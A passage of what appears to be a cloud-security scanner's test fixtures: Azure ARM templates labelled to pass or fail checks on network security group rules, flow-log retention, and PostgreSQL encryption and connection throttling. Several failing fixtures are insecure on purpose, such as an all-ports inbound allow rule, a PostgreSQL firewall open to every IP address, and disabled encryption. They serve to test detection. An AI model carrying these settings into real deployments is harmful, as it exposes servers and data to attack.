variables('networkSecurityGroupName'))]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[variables('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[variables('subnetPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]" } } } ] } }, { "type": "Microsoft.Storage/storageAccounts", "name": "[variables('jumpBoxSAName')]", "location": "[resourceGroup().location]", "apiVersion": "2015-06-15", "properties": { "accountType": "[variables('storageAccountType')]" } }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[variables('longNamingInfix')]" } } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('jumpBoxNicName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-04-01", "dependsOn": [ "[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]", "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "properties": { "ipConfigurations": [ { "name": "[variables('jumpBoxIPConfigName')]", "properties": { "privateIPAllocationMethod": "Dynamic", "publicIPAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "subnet": { "id": "[variables('subnetRef')]" } } } ] } }, { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('jumpBoxName')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]", "[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]" ], "properties": { "hardwareProfile": { "vmSize": "[parameters('vmSku')]" }, "osProfile": { "computerName": "[variables('jumpBoxName')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "storageProfile": { "imageReference": "[variables('imageReference')]", "osDisk": { "name": "[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]", "caching": "ReadWrite", "createOption": "FromImage" } }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]" } ] }, "diagnosticsProfile": { "bootDiagnostics": { "enabled": true, "storageUri": "[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]" } } } }, { "type": "Microsoft.Compute/virtualMachineScaleSets", "name": "[variables('namingInfix')]", "location": "[resourceGroup().location]", "apiVersion": "2017-03-30", "dependsOn": [ "[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]" ], "sku": { "name": "[parameters('vmSku')]", "tier": "Standard", "capacity": "[parameters('instanceCount')]" }, "properties": { "overprovision": "true", "upgradePolicy": { "mode": "Manual" }, "virtualMachineProfile": { "storageProfile": { "osDisk": { "createOption": "FromImage" }, "imageReference": "[variables('imageReference')]" }, "osProfile": { "computerNamePrefix": "[variables('namingInfix')]", "adminUsername": "[parameters('adminUsername')]", "adminPassword": "[parameters('adminPasswordOrKey')]", "linuxConfiguration": "[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]" }, "networkProfile": { "networkInterfaceConfigurations": [ { "name": "[variables('nicName')]", "properties": { "primary": true, "ipConfigurations": [ { "name": "[variables('ipConfigName')]", "properties": { "subnet": { "id": "[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]" } } } ] } } ] } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[parameters('webServerNsgName')]", "type": "Microsoft.Network/networkSecurityGroups", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "properties": { "securityRules": [ { "name": "DefaultDeny", "properties": { "description": "Denies all inbound traffic not matched by a previous rule", "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "*", "destinationAddressPrefix": "*", "access": "Deny", "priority": 4096, "direction": "Inbound" } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allowAllFromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json", "contentVersion": "0.0.0.1", "parameters": { "vnetName": { "type": "string" }, "vnetAddressPrefix": { "type": "string" }, "webServerSubnetName": { "type": "string" }, "webServerSubnetAddressPrefix": { "type": "string" }, "webServerNsgName": { "type": "string" }, "testRunnerIpRange": { "type": "string", "defaultValue": "*" } }, "resources": [ { "name": "[parameters('vnetName')]", "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2019-11-01", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] }, "subnets": [ { "name": "[parameters('webServerSubnetName')]", "properties": { "addressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]" } } } ] } }, { "name": "[concat(parameters('webServerNsgName'),'/allow443FromAll')]", "type": "Microsoft.Network/networkSecurityGroups/securityRules", "location": "[resourceGroup().location]", "dependsOn": [ "[parameters('webServerNsgName')]" ], "condition": "[greater(length(parameters('testRunnerIpRange')),0)]", "apiVersion": "2019-11-01", "properties": { "description": "nsgRuleDescription", "protocol": "tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "[parameters('testRunnerIpRange')]", "destinationAddressPrefix": "[parameters('webServerSubnetAddressPrefix')]", "access": "Allow", "priority": 100, "direction": "Inbound" } } ] } ================================================ FILE: tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "apiProfile": "2019-09-01", "resources": [ { "name": "NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG", "type": "Microsoft.Network/networkWatchers/FlowLogs/", "location": "centraluseuap", "apiVersion": "2019-09-01", "properties": { "targetResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG", "storageId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira", "enabled": true, "flowAnalyticsConfiguration": {}, "retentionPolicy": {}, "format": {} } } ] } ================================================ FILE: tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "apiProfile": "2019-09-01", "resources": [ { "name": "NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG", "type": "Microsoft.Network/networkWatchers/FlowLogs/", "location": "centraluseuap", "apiVersion": "2019-09-01", "properties": { "targetResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG", "storageId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira", "enabled": true, "flowAnalyticsConfiguration": { "networkWatcherFlowAnalyticsConfiguration": { "enabled": true, "workspaceResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0", "trafficAnalyticsInterval": 10 } }, "retentionPolicy": { "days": 7, "enabled": true }, "format": { "type": "JSON", "version": 2 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "apiProfile": "2019-09-01", "resources": [ { "name": "NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG", "type": "Microsoft.Network/networkWatchers/FlowLogs/", "location": "centraluseuap", "apiVersion": "2019-09-01", "properties": { "targetResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG", "storageId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira", "enabled": true, "flowAnalyticsConfiguration": { "networkWatcherFlowAnalyticsConfiguration": { "enabled": true, "workspaceResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0", "trafficAnalyticsInterval": 10 } }, "retentionPolicy": { "days": 700, "enabled": false }, "format": { "type": "JSON", "version": 2 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-FAILED4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "apiProfile": "2019-09-01", "resources": [ { "name": "NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG", "type": "Microsoft.Network/networkWatchers/FlowLogs/", "location": "centraluseuap", "apiVersion": "2019-09-01", "properties": { "targetResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG", "storageId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira", "enabled": true, "flowAnalyticsConfiguration": { "networkWatcherFlowAnalyticsConfiguration": { "enabled": true, "workspaceResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0", "trafficAnalyticsInterval": 10 } }, "retentionPolicy": { "days": null, "enabled": true }, "format": { "type": "JSON", "version": 2 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_NetworkWatcherFlowLogPeriod/networkWatcherFlowLogPeriod-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "apiProfile": "2019-09-01", "resources": [ { "name": "NetworkWatcher_centraluseuap/Microsoft.NetworkDalanDemoPerimeterNSG", "type": "Microsoft.Network/networkWatchers/FlowLogs/", "location": "centraluseuap", "apiVersion": "2019-09-01", "properties": { "targetResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/DalanDemo/providers/Microsoft.Network/networkSecurityGroups/PerimeterNSG", "storageId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/MyCanaryFlowLog/providers/Microsoft.Storage/storageAccounts/storagev2ira", "enabled": true, "flowAnalyticsConfiguration": { "networkWatcherFlowAnalyticsConfiguration": { "enabled": true, "workspaceResourceId": "/subscriptions/56abfbd6-ec72-4ce9-831f-bc2b6f2c5505/resourceGroups/defaultresourcegroup-wcus/providers/Microsoft.OperationalInsights/workspaces/1c4f42e5-3a02-4146-ac9b-3051d8501db0", "trafficAnalyticsInterval": 10 } }, "retentionPolicy": { "days": 90, "enabled": true }, "format": { "type": "JSON", "version": 2 } } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLEncryptionEnabled/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "skuCapacity": { "type": "int" }, "skuFamily": { "type": "string" }, "skuName": { "type": "string" }, "skuSizeMB": { "type": "int" }, "skuTier": { "type": "string" }, "version": { "type": "string" }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "previewFeature": { "type": "string", "defaultValue": "" }, "tags": { "type": "object", "defaultValue": {} }, "storageAutoGrow": { "type": "string", "defaultValue": "Disabled" }, "infrastructureEncryption": { "type": "string", "defaultValue": "Disabled" } }, "resources": [ { "apiVersion": "2017-12-01", "kind": "", "location": "[parameters('location')]", "name": "fail", "properties": { "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]", "storageAutoGrow": "[parameters('storageAutoGrow')]" }, "previewFeature": "[parameters('previewFeature')]", "infrastructureEncryption": "[parameters('infrastructureEncryption')]" }, "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforPostgreSQL/servers" } ], "variables": {} } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLEncryptionEnabled/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "skuCapacity": { "type": "int" }, "skuFamily": { "type": "string" }, "skuName": { "type": "string" }, "skuSizeMB": { "type": "int" }, "skuTier": { "type": "string" }, "version": { "type": "string" }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string" }, "previewFeature": { "type": "string", "defaultValue": "" }, "tags": { "type": "object", "defaultValue": {} }, "storageAutoGrow": { "type": "string", "defaultValue": "Disabled" }, "infrastructureEncryption": { "type": "string", "defaultValue": "Enabled" } }, "resources": [ { "apiVersion": "2017-12-01", "kind": "", "location": "[parameters('location')]", "name": "pass", "properties": { "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]", "storageAutoGrow": "[parameters('storageAutoGrow')]" }, "previewFeature": "[parameters('previewFeature')]", "infrastructureEncryption": "[parameters('infrastructureEncryption')]" }, "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforPostgreSQL/servers" } ], "variables": {} } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "connection_throttling", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "OFF" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_checkpoints", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } }, { "name": "connection_throttling", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerConnectionThrottlingEnabled/postgreSQL-ConnectionThrottlingEnabled-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", 